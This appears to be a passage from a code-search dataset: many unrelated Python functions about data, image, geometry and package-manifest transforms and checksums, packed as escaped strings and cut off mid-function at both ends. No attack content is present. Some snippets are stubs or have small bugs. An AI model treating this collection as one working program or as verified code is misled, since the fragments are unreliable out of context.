filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n if newattr not in action.attrs:\n newval = substitute_values(value, action,\n matches, pkg_attrs, filename, lineno)\n action.attrs[newattr] = newval\n return action\n operation = default_func\n\n elif op[0] == \"abort\":\n if len(op) > 1:\n raise RuntimeError(_(\"transform ({0}) has 'abort' \"\n \"operation syntax error\").format(transform))\n\n def abort_func(action, matches, pkg_attrs, filename, lineno):\n sys.exit(0)\n\n operation = abort_func\n\n elif op[0] == \"exit\":\n exitval = 0\n msg = None\n\n if len(op) == 2:\n args = op[1].split(None, 1)\n try:\n exitval = int(args[0])\n except ValueError:\n raise RuntimeError(_(\"transform ({0}) has 'exit' \"\n \"operation syntax error: illegal exit value\").format(\n transform))\n if len(args) == 2:\n msg = args[1]\n\n def exit_func(action, matches, pkg_attrs, filename, lineno):\n if msg:\n newmsg = substitute_values(msg, action,\n matches, pkg_attrs, filename, lineno,\n quote=True)\n print(newmsg, file=sys.stderr)\n sys.exit(exitval)\n\n operation = exit_func\n\n elif op[0] == \"add\":\n try:\n attr, value = shlex.split(op[1])\n except ValueError:\n raise RuntimeError(\n _(\"transform ({0}) has 'add' operation syntax error\"\n ).format(transform))\n\n def add_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n newval = substitute_values(value, action, matches,\n pkg_attrs, filename, lineno)\n if newattr in action.attrs:\n av = action.attrs[newattr]\n if isinstance(av, list):\n action.attrs[newattr].append(newval)\n else:\n action.attrs[newattr] = [ av, newval ]\n else:\n action.attrs[newattr] = newval\n return action\n operation = add_func\n\n elif op[0] == \"edit\":\n if len(op) < 2:\n raise RuntimeError(\n _(\"transform ({0}) has 'edit' operation syntax error\"\n ).format(transform))\n\n args = shlex.split(op[1])\n if len(args) not in [2, 3]:\n raise RuntimeError(\n _(\"transform ({0}) has 'edit' operation syntax error\"\n ).format(transform))\n attr = args[0]\n\n # Run args[1] (the regexp) through substitute_values() with a\n # bunch of bogus values to see whether it triggers certain\n # exceptions. If it does, then substitution would have\n # occurred, and we can't compile the regex now, but wait until\n # we can correctly run substitute_values().\n try:\n substitute_values(args[1], None, [], None, None, None)\n regexp = re.compile(args[1])\n except (AttributeError, RuntimeError):\n regexp = args[1]\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has 'edit' operation \"\n \"with malformed regexp ({err})\").format(\n transform=transform, err=e))\n\n if len(args) == 3:\n replace = args[2]\n else:\n replace = \"\"\n\n def replace_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n newrep = substitute_values(replace, action, matches,\n pkg_attrs, filename, lineno)\n val = attrval_as_list(action.attrs, newattr)\n\n if not val:\n return action\n\n # It's now appropriate to compile the regexp, if there\n # are substitutions to be made. So do the substitution\n # and compile the result.\n if isinstance(regexp, basestring):\n rx = re.compile(substitute_values(regexp,\n action, matches, pkg_attrs, filename, lineno))\n else:\n rx = regexp\n\n try:\n action.attrs[newattr] = [\n rx.sub(newrep, v)\n for v in val\n ]\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has edit \"\n \"operation with replacement string regexp \"\n \"error {err}\").format(\n transform=transform, err=e))\n return action\n\n operation = replace_func\n\n elif op[0] == \"delete\":\n if len(op) < 2:\n raise RuntimeError(\n _(\"transform ({0}) has 'delete' operation syntax error\"\n ).format(transform))\n\n args = shlex.split(op[1])\n if len(args) != 2:\n raise RuntimeError(\n _(\"transform ({0}) has 'delete' operation syntax error\"\n ).format(transform))\n attr = args[0]\n\n try:\n regexp = re.compile(args[1])\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has 'delete' operation\"\n \"with malformed regexp ({err})\").format(\n transform=transform, err=e))\n\n def delete_func(action, matches, pkg_attrs, filename, lineno):\n val = attrval_as_list(action.attrs, attr)\n if not val:\n return action\n try:\n new_val = [\n v\n for v in val\n if not regexp.search(v)\n ]\n\n if new_val:\n action.attrs[attr] = new_val\n else:\n del action.attrs[attr]\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has delete \"\n \"operation with replacement string regexp \"\n \"error {err}\").format(\n transform=transform, err=e))\n return action\n\n operation = delete_func\n\n elif op[0] == \"print\":\n if len(op) > 2:\n raise RuntimeError(_(\"transform ({0}) has 'print' \"\n \"operation syntax error\").format(transform))\n\n if len(op) == 1:\n msg = \"\"\n else:\n msg = op[1]\n\n def print_func(action, matches, pkg_attrs, filename, lineno):\n newmsg = substitute_values(msg, action, matches,\n pkg_attrs, filename, lineno, quote=True)\n\n printinfo.append(\"{0}\".format(newmsg))\n return action\n\n operation = print_func\n\n elif op[0] == \"emit\":\n if len(op) > 2:\n raise RuntimeError(_(\"transform ({0}) has 'emit' \"\n \"operation syntax error\").format(transform))\n\n if len(op) == 1:\n msg = \"\"\n else:\n msg = op[1]\n\n def emit_func(action, matches, pkg_attrs, filename, lineno):\n newmsg = substitute_values(msg, action, matches,\n pkg_attrs, filename, lineno, quote=True)\n\n if not newmsg.strip() or newmsg.strip()[0] == \"#\":\n return (newmsg, action)\n try:\n return (pkg.actions.fromstr(newmsg), action)\n except (pkg.actions.MalformedActionError,\n pkg.actions.UnknownActionError,\n pkg.actions.InvalidActionError) as e:\n raise RuntimeError(e)\n\n operation = emit_func\n\n else:\n raise RuntimeError(_(\"unknown transform operation '{0}'\").format(op[0]))\n\n transforms.append((types, attrdict, operation, filename, lineno, transform))","def transform(self, *fs):\n return transform(self, *fs)","def _calculate_transforms(self):\n\n self._logger.info(\"Generating transformations.\")\n\n # Calculate partial transforms - get partial transformation chain;\n partial_transformation_pairs = \\\n map(lambda idx: self._get_slice_pair(idx),\n self.options.slice_range)\n\n # Flatten the slices pairs\n partial_transformation_pairs =\\\n list(flatten(partial_transformation_pairs))\n\n # If user decided to prealign the images by their centre of gravity\n # an additional series of transformations has to be carried out.\n if self.options.enableMomentsAlignment:\n commands = map(lambda x: self._get_cog_alignment(*x),\n partial_transformation_pairs)\n commands = filter(None, commands)\n\n self._logger.info(\"Executing the centre of gravity transforms.\")\n self.execute(commands)\n\n # Calculate affine transformation for each slices pair\n commands = map(lambda x: self._get_partial_transform(*x),\n partial_transformation_pairs)\n commands = filter(None, commands)\n self._logger.info(\"Executing the transformation commands.\")\n self.execute(commands)","def transform_fn(transforms, params, invert=False):\n if invert:\n transforms = {k: v.inv for k, v in transforms.items()}\n return {k: transforms[k](v) if k in transforms else v\n for k, v in params.items()}","def transform(self, data):","def apply(self, transform_func):\n #input_shapes = transform_func.input_shapes\n #input_types = transform_func.input_types\n #data_shapes = transform_func.data_shapes\n #data_types = transform_func.data_types\n #assert input_shapes == self._data_shapes\n #assert input_types = self._data_types\n ret_gen = transform_func(self.generator)\n ret = type(self).from_generator_func(ret_gen)\n if self.name is not None:\n ret.name = self.name\n #ret.data_shapes = data_shapes\n #ret.data_types = data_types\n return ret","def apply_param_transformations(self,params_edict,**kwargs):\n if self.params_transforms == None:\n return params_edict\n for key,transform_function in self.params_transforms.items():\n params_edict[key] = transform_function(params_edict,**kwargs)\n return params_edict","def apply(args):\n html_doc = document.Document(get_code(args.file))\n with open(args.transform_file, 'r', encoding='UTF-8') as tfr_file:\n tfr_json = yaml.load(tfr_file)\n not_applied = html_doc.apply(tfr_json)\n\n if len(not_applied) == 0:\n print('All transforms applied.')\n else:\n print('The following transforms could not be applied:')\n print(yaml.dump(not_applied))\n set_code(args.file, html_doc)","def transform(self, results: Dict) -> Optional[Dict]:\n for t in self.transforms:\n results = t(results) # type: ignore\n if results is None:\n return None\n return results","def _get_checksum(self, arg):","def tarsum(input_file, hash, output_file):\n tar = tarfile.open(mode=\"r:*\", fileobj=input_file)\n\n chunk_size = 100*1024\n store_digests = {}\n\n for member in tar:\n if not member.isfile():\n continue\n f = tar.extractfile(member)\n h = hashlib.new(hash)\n data = f.read(chunk_size)\n while data:\n h.update(data)\n data = f.read(chunk_size)\n output_file.write(\"%s %s\\n\" % (h.hexdigest(), member.name))","def get_all_transforms(self) -> Dict[str, Callable]:\n # Convert magnitude to argument for each transform\n level = self.magnitude / self._max_magnitude\n angle = self.randomly_negate_level(level) * self._max_angle\n x_shift = self.randomly_negate_level(level) * self._max_x_shift\n y_shift = self.randomly_negate_level(level) * self._max_y_shift\n # Contrast / brightness factor of 1 means no change. 0 means black, 2 means times 2.\n contrast = self.randomly_negate_level(level) * self._max_contrast + 1\n brightness = self.randomly_negate_level(level) * self._max_brightness + 1\n transforms_dict = {\n \"identity\": self.identity(),\n \"rotate\": self.rotate(angle),\n \"translateX\": self.translateX(x_shift),\n \"translateY\": self.translateY(y_shift),\n \"hFlip\": self.horizontal_flip()\n }\n if self.for_segmentation_input_maps:\n return transforms_dict\n\n transforms_dict.update(\n {\"constrast\": self.adjust_contrast(contrast),\n \"brightness\": self.adjust_brightness(brightness),\n })\n\n return transforms_dict","def map_dict(dictionary, transform):\n return dict(transform(k, v) for k, v in dictionary.items())","def _apply_transformations(structure, rotations, translations):\n # Additional first dimension for 'structure.repeat()'\n assembly_coord = np.zeros((len(rotations),) + structure.coord.shape)\n\n # Apply corresponding transformation for each copy in the assembly\n for i, (rotation, translation) in enumerate(zip(rotations, translations)):\n coord = structure.coord\n # Rotate\n coord = matrix_rotate(coord, rotation)\n # Translate\n coord += translation\n assembly_coord[i] = coord\n\n return repeat(structure, assembly_coord)","def apply(hash_value: str, dir_path: str, file_path: str) -> None:\n core.apply(hash_value, dir_path, file_path)","def attrTransform(self, matrix, transform):\n for ttype, targs in self.reTransformFind.findall(transform):\n targs = list(map(lambda x: float(x), self.reNumberFind.findall(targs)))\n if ttype == 'matrix':\n newmatrix = [ targs[0], targs[1],\n targs[2], targs[3],\n targs[4], targs[5] ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'translate':\n tx = targs[0]\n ty = targs[1] if len(targs) > 1 else 0\n newmatrix = [ 1, 0, 0, 1, tx, ty ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'scale':\n sx = targs[0]\n sy = targs[1] if len(targs) > 1 else sx\n newmatrix = [ sx, 0, 0, sy, 0, 0 ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'rotate':\n if len(targs) == 1:\n alpha = targs[0]\n newmatrix = [ math.cos(alpha), math.sin(alpha),\n -math.sin(alpha), math.cos(alpha),\n 0, 0]\n self.matrixMul(matrix, newmatrix)\n else:\n alpha = targs[0]\n newmatrix = [ 1, 0, 0, 1, targs[1], targs[2] ]\n self.matrixMul(matrix, newmatrix)\n newmatrix = [ math.cos(alpha), math.sin(alpha),\n -math.sin(alpha), math.cos(alpha),\n 0, 0]\n self.matrixMul(matrix, newmatrix)\n newmatrix = [ 1, 0, 0, 1, -targs[1], -targs[2] ]\n self.matrixMul(matrix, newmatrix)\n elif ttype == 'skewX' or ttype == 'skewY':\n self.alert(\"skewX and skewY transformations are not supported\", elem)\n else:\n print('unknown transform type: ', ttype)\n return matrix","def evolve(transformations, object):\n o = clone(object)\n for k, v in transformations.items():\n try:\n if isinstance(v, dict):\n o[k] = evolve(v, o[k])\n else:\n o[k] = v(o[k])\n except KeyError:\n continue\n\n return o","def run_suite():\n print(\"*Input*\")\n input_str = get_input()\n stripped = strip(input_str)\n\n print(\"*Transform*\")\n operation, transformed = transform(stripped)\n\n print(\"*Output*\")\n output(operation, transformed)","def _add_checksum(self, dct):\n md5_cksum = None","def append_transformations(self, parameter_dict):\n parameter_dicts_from_transformations = [\n x.transform(self.data_dict, parameter_dict) for x in self.transformations\n ]\n for parameter_dict_from_transformations in parameter_dicts_from_transformations:\n parameter_dict.update(parameter_dict_from_transformations)\n\n return parameter_dict","def transform(self, results: Dict) -> Optional[Dict]:\n idx = self.random_pipeline_index()\n return self.transforms[idx](results)","def transform_(self, input, format, signature=None):\n\n if self.cache:\n if signature is None:\n use_signature = self.update_signature(\n input, format).hexdigest()\n else:\n use_signature = signature\n\n cache_file = os.path.join(self.cache_dir, use_signature)\n if self.cache == 2 and os.path.exists(cache_file):\n # User wants to clobber cache\n os.remove(cache_file)\n\n try:\n result = self.load(use_signature)\n if self._verbose:\n self._print(\"Loaded results from cache file {} using signature: {}\".format(\n cache_file, use_signature))\n except Exception:\n if signature is None:\n signature = self.update_signature(\n input, format).hexdigest()\n result = self.transform(input, format)\n if self.cache > 0: # Ok user wants to cache results\n if not os.path.exists(self.cache_dir):\n os.makedirs(self.cache_dir)\n self.save(signature, result)\n else:\n result = self.transform(input, format)\n return result","def step_impl(context, objects_type):\n log.info(\"=====> Ensure that the md5sum of the objects retrieved from the Cache matches the md5sum of the original object\")\n\n if objects_type == \"ObjectsTest1\":\n object_list = resourceset_parameters.ObjectsTest1\n elif objects_type == \"ObjectsTest2\":\n object_list = resourceset_parameters.ObjectsTest2\n elif objects_type == \"ObjectsTest4\":\n object_list = resourceset_parameters.ObjectsTest4\n else:\n assert False, \" ****> Failed: No objects_type parameter while posting. Got: {objects_type}\".format(objects_type=objects_type)\n\n for i in object_list:\n command = \"md5sum /tmp/\" + resourceset_parameters.Object_names[i] + \" | awk '{print $1}'\"\n result = send_telnet_command(command)\n if md5_of_files[i] in result:\n log.info(\" *****> Passed: The md5sum of the {object_names} matches the value previously obtained\".format(object_names=resourceset_parameters.Object_names[i]))\n else:\n assert False, \" *****> Failed: The md5sum of the {object_names} does not match the value previously obtained\".format(object_names=resourceset_parameters.Object_names[i])","def process_input(input_dict, UUID=None, build=True):\n # Set script's name\n input_dict['script'] = script\n \n # Set calculation UUID\n if UUID is not None:\n input_dict['calc_key'] = UUID\n else:\n input_dict['calc_key'] = input_dict.get('calc_key', str(uuid.uuid4()))\n \n # Set default input/output units\n iprPy.input.subset('units').interpret(input_dict)\n \n # These are calculation-specific default strings\n input_dict['symbols'] = input_dict['symbols'].split()\n \n # These are calculation-specific default booleans\n # None for this calculation\n \n # These are calculation-specific default integers\n input_dict['number_of_steps_r'] = int(input_dict.get('number_of_steps_r', 100))\n input_dict['number_of_steps_theta'] = int(input_dict.get('number_of_steps_theta', 100))\n \n # These are calculation-specific default unitless floats\n input_dict['minimum_theta'] = float(input_dict.get('minimum_theta', 1.0))\n input_dict['maximum_theta'] = float(input_dict.get('maximum_theta', 180.0))\n \n # These are calculation-specific default floats with units\n input_dict['minimum_r'] = iprPy.input.value(input_dict, 'minimum_r',\n default_unit=input_dict['length_unit'],\n default_term='0.5 angstrom')\n input_dict['maximum_r'] = iprPy.input.value(input_dict, 'maximum_r',\n default_unit=input_dict['length_unit'],\n default_term='5.5 angstrom')\n \n # Check lammps_command and mpi_command\n iprPy.input.subset('lammps_commands').interpret(input_dict)\n \n # Load potential\n iprPy.input.subset('lammps_potential').interpret(input_dict)","def Do(self, input_dict: Dict[str, List[types.Artifact]],\n output_dict: Dict[str, List[types.Artifact]],\n exec_properties: Dict[str, Any]) -> None:\n for output_key, artifact_list in output_dict.items():\n for idx, artifact in enumerate(artifact_list):\n dest = artifact.uri\n src = os.path.join(self._test_data_dir, self._component_id, output_key,\n str(idx))\n if not fileio.exists(src):\n raise FileNotFoundError(\"{} does not exist\".format(src))\n io_utils.copy_dir(src, dest)\n logging.info(\"Finished copying from %s to %s\", src, dest)","def transform(self, results: Dict) -> Optional[Dict]:\n if self.random_apply():\n return self.transforms(results) # type: ignore\n else:\n return results","def transform(self, inputs: list, stage: str) -> datapack.DataPack:","def process(self):\n self.extract()\n self.transform()\n self.load()","def main():\n\n ruleset, meta = parse_input(get_input())\n start, steps = meta\n x = run(ruleset, start, steps)\n print(\"Checksum is {}.\".format(x))\n\n return","def _init_transform(self, operation, **kwargs):\n self._operation = operation\n transform = partial(self.__class__.operation_transform, operation=operation)\n return transform, kwargs","def _compose_transforms(basis_transforms, source_basis, source_dag):\n example_gates = _get_example_gates(source_dag)\n mapped_instrs = {}\n\n for gate_name, gate_num_qubits in source_basis:\n # Need to grab a gate instance to find num_qubits and num_params.\n # Can be removed following https://github.com/Qiskit/qiskit-terra/pull/3947 .\n example_gate = example_gates[gate_name, gate_num_qubits]\n num_params = len(example_gate.params)\n\n placeholder_params = ParameterVector(gate_name, num_params)\n placeholder_gate = Gate(gate_name, gate_num_qubits, list(placeholder_params))\n placeholder_gate.params = list(placeholder_params)\n\n dag = DAGCircuit()\n qr = QuantumRegister(gate_num_qubits)\n dag.add_qreg(qr)\n dag.apply_operation_back(placeholder_gate, qr[:], [])\n mapped_instrs[gate_name, gate_num_qubits] = placeholder_params, dag\n\n for gate_name, gate_num_qubits, equiv_params, equiv in basis_transforms:\n logger.debug(\n \"Composing transform step: %s/%s %s =>\\n%s\",\n gate_name,\n gate_num_qubits,\n equiv_params,\n equiv,\n )\n\n for mapped_instr_name, (dag_params, dag) in mapped_instrs.items():\n doomed_nodes = [\n node\n for node in dag.op_nodes()\n if (node.op.name, node.op.num_qubits) == (gate_name, gate_num_qubits)\n ]\n\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\n\n logger.debug(\n \"Updating transform for mapped instr %s %s from \\n%s\",\n mapped_instr_name,\n dag_params,\n dag_to_circuit(dag, copy_operations=False),\n )\n\n for node in doomed_nodes:\n\n replacement = equiv.assign_parameters(\n dict(zip_longest(equiv_params, node.op.params))\n )\n\n replacement_dag = circuit_to_dag(replacement)\n\n dag.substitute_node_with_dag(node, replacement_dag)\n\n if doomed_nodes and logger.isEnabledFor(logging.DEBUG):\n\n logger.debug(\n \"Updated transform for mapped instr %s %s to\\n%s\",\n mapped_instr_name,\n dag_params,\n dag_to_circuit(dag, copy_operations=False),\n )\n\n return mapped_instrs","def run(self, filekey, blobkey):\n output = yield mapreduce_pipeline.MapreducePipeline(\n \"daily_speed_sum\",\n \"map_reduce.daily_speed_sum_map\",\n \"map_reduce.daily_speed_sum_reduce\",\n \"mapreduce.input_readers.BlobstoreZipLineInputReader\",\n \"mapreduce.output_writers.BlobstoreOutputWriter\",\n\t\tmapper_params={\n\t\t\t\"blob_keys\": blobkey,\n },\n reducer_params={\n \"mime_type\": \"text/plain\",\n },\n shards=16)\n yield StoreOutput(\"DailySpeedSum\", filekey, output)","def _default_transform_fn(self, model, input_data, content_type, accept, context=None):\n # pylint: disable=unused-argument\n data = self._run_handler_function(self._input_fn, *(input_data, content_type))\n prediction = self._run_handler_function(self._predict_fn, *(data, model))\n result = self._run_handler_function(self._output_fn, *(prediction, accept))\n return result","def retransformation(decompressed_sequence:str, binary_dict:dict, calcul_byte:int):\r\n if calcul_byte != 0:\r\n calcul_byte = (8-calcul_byte)\r\n decompressed_sequence = decompressed_sequence[calcul_byte:]\r\n \"\"\"\r\n Allows you to remove the zeros added at the beginning of a binary \r\n string to make a multiple of 8\r\n \"\"\"\r\n decompress_sequence = \"\"\r\n counter = 0\r\n for position in range(0, len(decompressed_sequence)+1, 1):\r\n if decompressed_sequence[counter:position] in binary_dict.keys():\r\n decompress_sequence += binary_dict[decompressed_sequence[counter:position]]\r\n counter = position\r\n return decompressed_sequence, decompress_sequence","def test_transform_file(self, mock_transform_object):\n mock_transform_object.return_value = {}\n with CliRunner().isolated_filesystem() as t:\n transform_path = \"transform/out.jsonl.gz\"\n\n # Create works entity file\n works = {\"works\": \"content\"}\n works_download_path = \"works.jsonl.gz\"\n with gzip.open(works_download_path, \"wt\", encoding=\"ascii\") as f_out:\n json.dump(works, f_out)\n\n # Create other entity file (concepts or institution)\n concepts = {\"concepts\": \"content\"}\n concepts_download_path = \"concepts.jsonl.gz\"\n with gzip.open(concepts_download_path, \"wt\", encoding=\"ascii\") as f_out:\n json.dump(concepts, f_out)\n\n # Test when dir of transform path does not exist yet, using 'works' entity'\n self.assertFalse(os.path.isdir(os.path.dirname(transform_path)))\n\n transform_file(works_download_path, transform_path)\n mock_transform_object.assert_called_once_with(works, \"abstract_inverted_index\")\n mock_transform_object.reset_mock()\n os.remove(transform_path)\n\n # Test when dir of transform path does exist, using 'works' entity\n self.assertTrue(os.path.isdir(os.path.dirname(transform_path)))\n\n transform_file(works_download_path, transform_path)\n self.assert_file_integrity(transform_path, \"682a6d42\", \"gzip_crc\")\n mock_transform_object.assert_called_once_with(works, \"abstract_inverted_index\")\n mock_transform_object.reset_mock()\n os.remove(transform_path)\n\n # Test for \"concepts\" and \"institution\" entities\n transform_file(concepts_download_path, transform_path)\n self.assert_file_integrity(transform_path, \"d8cafe16\", \"gzip_crc\")\n mock_transform_object.assert_called_once_with(concepts, \"international\")","def _set_transforms(self, transform: Dict[str, Union[Field, Dict]]) -> None:\n columns: Union[int, List[int]]\n\n for k, t in enumerate(transform.items()):\n name, value = t\n if isinstance(value, Field):\n field = value\n columns = k\n else:\n try:\n field, tmp_cols = value['field'], value.get('columns', k)\n\n # Process as list to avoid repeating code\n if not isinstance(tmp_cols, List):\n tmp_cols = [tmp_cols]\n\n for i, c in enumerate(tmp_cols[:]):\n if isinstance(c, str):\n if not self.named_columns:\n raise ValueError(\n \"Columns parameter is required for str-based indexing\"\n )\n try:\n tmp_cols[i] = self.named_columns.index(c)\n except ValueError:\n raise ValueError(\n f\"Dataset has no column name {c}. \" +\n f\"Available columns: {self.named_columns}\"\n )\n\n columns = tmp_cols\n\n # If it was a value originally then process\n # it as a single value\n if len(tmp_cols) == 1:\n columns = tmp_cols[0]\n\n except KeyError:\n raise ValueError(\n f\"If a dict is provided in 'transform', then it must have the 'field' key.\"\n f\" transform item = {k, t}\"\n )\n\n setattr(self, name, field)\n args = [self._train[:, columns]]\n if self._val is not None:\n args.append(self._val[:, columns])\n if self._test is not None:\n args.append(self._test[:, columns])\n field.setup(*args)\n self.transform_hooks.append((field, columns))","def __call__(\n self,\n sample_dict: NDict,\n key: str,\n z_rot: float = 0.0,\n y_rot: float = 0.0,\n x_rot: float = 0,\n ) -> NDict:\n aug_input = sample_dict[key]\n assert len(aug_input.shape) == 3 # will only work for 3d\n if z_rot != 0:\n aug_input = TTF.rotate(aug_input, angle=z_rot)\n if x_rot != 0:\n aug_input = aug_input.permute(dims=(2, 0, 1))\n aug_input = TTF.rotate(aug_input, angle=x_rot)\n aug_input = aug_input.permute(dims=(1, 2, 0))\n if y_rot != 0:\n aug_input = aug_input.permute(dims=(1, 0, 2))\n aug_input = TTF.rotate(aug_input, angle=y_rot)\n aug_input = aug_input.permute(dims=(1, 0, 2))\n\n sample_dict[key] = aug_input\n return sample_dict","def fit_transform(self, *args, **kwargs):\n self.fit(*args, **kwargs)\n return self.transform(*args, **kwargs)","def transform(self, results: Dict):\n\n # Apply input remapping\n inputs = self._map_input(results, self.mapping)\n\n # Scatter sequential inputs into a list\n input_scatters = self.scatter_sequence(inputs)\n\n # Control random parameter sharing with a context manager\n if self.share_random_params:\n # The context manager :func`:cache_random_params` will let\n # cacheable method of the transforms cache their outputs. Thus\n # the random parameters will only generated once and shared\n # by all data items.\n ctx = cache_random_params # type: ignore\n else:\n ctx = nullcontext # type: ignore\n\n with ctx(self.transforms):\n output_scatters = [\n self._apply_transforms(_input) for _input in input_scatters\n ]\n\n # Collate output scatters (list of dict to dict of list)\n outputs = {\n key: [_output[key] for _output in output_scatters]\n for key in output_scatters[0]\n }\n\n # Apply remapping\n outputs = self._map_output(outputs, self.remapping)\n\n results.update(outputs)\n return results","def _calculate_composite_transforms(self):\n\n self._calculate_similarity()\n # Finally, calculate composite transforms\n commands = []\n for moving_slice_index in self.options.slice_range:\n commands.append(self._calculate_composite(moving_slice_index))\n self.execute(commands)\n\n self._logger.info(\"Done with calculating the transformations.\")","def transform(data: Dict, *modifiers: Callable[[Dict], None]) -> Dict:\n for modify in modifiers:\n modify(data)\n return data","def _apply(self, x, **kwargs):\n return reduce(lambda x_i, tr: tr._apply(x_i), self.transforms, x)","def _apply(self, x, **kwargs):\n return self.transform._apply(x, **kwargs)","def generateTests(self, dict, dictname='totest',\n testmethod='test_transforms'):\n for name, (transforms, cases) in dict.items():\n for casenum in range(len(cases)):\n case = cases[casenum]\n run_in_debugger = 0\n if len(case)==3:\n if case[2]:\n run_in_debugger = 1\n else:\n continue\n self.addTestCase(\n TransformTestCase, testmethod,\n transforms=transforms, parser=self.parser,\n input=case[0], expected=case[1],\n id='%s[%r][%s]' % (dictname, name, casenum),\n run_in_debugger=run_in_debugger)","def transform(a, *fs):\n raise NotImplementedError(\n f'Input transforms not implemented for \"{type(a).__name__}\".'\n )","def _apply_pass(self, sdfg: SDFG, pipeline_results: Dict[str, Any], apply_once: bool) -> Dict[str, List[Any]]:\n if self.progress is None and not Config.get_bool('progress'):\n self.progress = False\n\n start = time.time()\n\n applied_transformations = collections.defaultdict(list)\n xforms = self.transformations\n match: Optional[xf.PatternTransformation] = None\n\n # Ensure transformations are unique\n if len(xforms) != len(set(xforms)):\n raise ValueError('Transformation set must be unique')\n\n if self.order_by_transformation:\n applied_anything = True\n while applied_anything:\n applied_anything = False\n for xform in xforms:\n applied = True\n while applied:\n applied = False\n for match in match_patterns(sdfg,\n permissive=self.permissive,\n patterns=[xform],\n states=self.states,\n metadata=self._metadata):\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\n applied = True\n applied_anything = True\n break\n if apply_once:\n break\n else:\n applied = True\n while applied:\n applied = False\n # Find and apply one of the chosen transformations\n for match in match_patterns(sdfg,\n permissive=self.permissive,\n patterns=xforms,\n states=self.states,\n metadata=self._metadata):\n self._apply_and_validate(match, sdfg, start, pipeline_results, applied_transformations)\n applied = True\n break\n if apply_once:\n break\n\n if self.validate:\n try:\n sdfg.validate()\n except InvalidSDFGError as err:\n if applied and match is not None:\n raise InvalidSDFGError(\"Validation failed after applying {}.\".format(match.print_match(self)), self,\n match.state_id) from err\n else:\n raise err\n\n if (len(applied_transformations) > 0\n and (self.progress or self.print_report or\n ((self.progress is None or self.print_report is None) and Config.get_bool('debugprint')))):\n print('Applied {}.'.format(', '.join(['%d %s' % (len(v), k) for k, v in applied_transformations.items()])))\n\n if len(applied_transformations) == 0: # Signal that no transformation was applied\n return None\n return applied_transformations","def transformation(self):\n for key in self.combination_dict.keys():\n if self.combination_dict[key]['column_count'] == 2:\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'tem' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'tem':\n self.temporal_transformation(self.combination_dict[key])\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'cat' or self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'cat':\n self.categorical_transformation(self.combination_dict[key])\n elif self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num' and self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\n self.numerical_transformation(self.combination_dict[key])\n\n elif self.combination_dict[key]['column_count'] == 3:\n num_count = 0\n num_column = []\n if self.data_dict[self.combination_dict[key]['column1']]['data_type'] == 'num':\n num_count += 1\n num_column.append(0)\n elif self.data_dict[self.combination_dict[key]['column2']]['data_type'] == 'num':\n num_count += 1\n num_column.append(1)\n elif self.data_dict[self.combination_dict[key]['column3']]['data_type'] == 'num':\n num_count += 1\n num_column.append(2)\n\n if num_count == 1:\n self.three_column_groupby_logic(self.combination_dict[key], num_column)\n\n m_score_pie = []\n m_score_bar = []\n m_score_line = []\n m_score_scatter = []\n # for key in self.scenario_dict:\n # if self.scenario_dict\n for key in self.scenario_dict:\n if math.isnan(self.scenario_dict[key][\"Scatter_chart_score\"]):\n m_score_scatter.append(0)\n else:\n m_score_scatter.append(self.scenario_dict[key][\"Scatter_chart_score\"])\n m_score_pie.append(self.scenario_dict[key][\"Pie_chart_score\"])\n m_score_bar.append(self.scenario_dict[key][\"Bar_chart_score\"])\n m_score_line.append(self.scenario_dict[key][\"Line_chart_score\"])\n\n m_score_pie /= np.max(m_score_pie)\n m_score_bar /= np.max(m_score_bar)\n m_score_line /= np.max(m_score_line)\n m_score_scatter /= np.max(m_score_scatter)\n m_score = [m_score_pie, m_score_bar, m_score_line, m_score_scatter]\n match_index = np.argmax(m_score, axis = 0)\n i = 0\n for key in self.scenario_dict:\n if match_index[i] == 0:\n self.scenario_dict[key][\"Chart_Type\"] = \"pie\"\n if match_index[i] == 1:\n self.scenario_dict[key][\"Chart_Type\"] = \"bar\"\n if match_index[i] == 2:\n self.scenario_dict[key][\"Chart_Type\"] = \"line\"\n if match_index[i] == 3:\n self.scenario_dict[key][\"Chart_Type\"] = \"scatter\"\n self.scenario_dict[key][\"m_score\"] = m_score[match_index[i]][i]\n i += 1\n\n return self.scenario_dict","def _run_file_contents(contents: dict, strict_fn, debug_print):\n\n default_fns_args = {\n \"adjust_focus\": {\"on\": \"hexbin\"},\n \"adjust_positioning\": True,\n \"adjust_opacity\": True\n }\n\n input_fns = contents.pop(\"functions\", {})\n for k, v in default_fns_args.items():\n if k not in input_fns:\n input_fns[k] = v\n\n output = contents.pop(\"output\", False)\n display = contents.pop(\"display\", True)\n builder = PlotBuilder.builder_from_dict(**contents)\n debug_print(\"* all layers loaded\")\n\n for k, v in input_fns.items():\n if v:\n args, kwargs = parse_args_kwargs(v)\n try:\n _fn_map[k](builder, *args, **kwargs)\n debug_print(f\"* invoked function '{_fn_map[k].__name__}'.\\nargs: {args}\\nkwargs: {kwargs}\")\n except Exception as e:\n try:\n debug_print(f\"* error while performing '{_fn_map[k].__name__}'.\\nerror: {e}\")\n strict_fn(e)\n except KeyError as f:\n debug_print(f\"* no such function as '{k}'.\")\n strict_fn(f)\n\n builder.finalize(raise_errors=False)\n\n if output:\n args, kwargs = parse_args_kwargs(output)\n builder.output(*args, **kwargs)\n debug_print(\"* figure output.\")\n\n if display:\n args, kwargs = parse_args_kwargs(display)\n builder.display(*args, **kwargs)\n debug_print(\"* figure displayed.\")\n\n return builder.get_plot_status()","def execute_dag(func_dict, dag, data, targets):\n # Needed for garbage 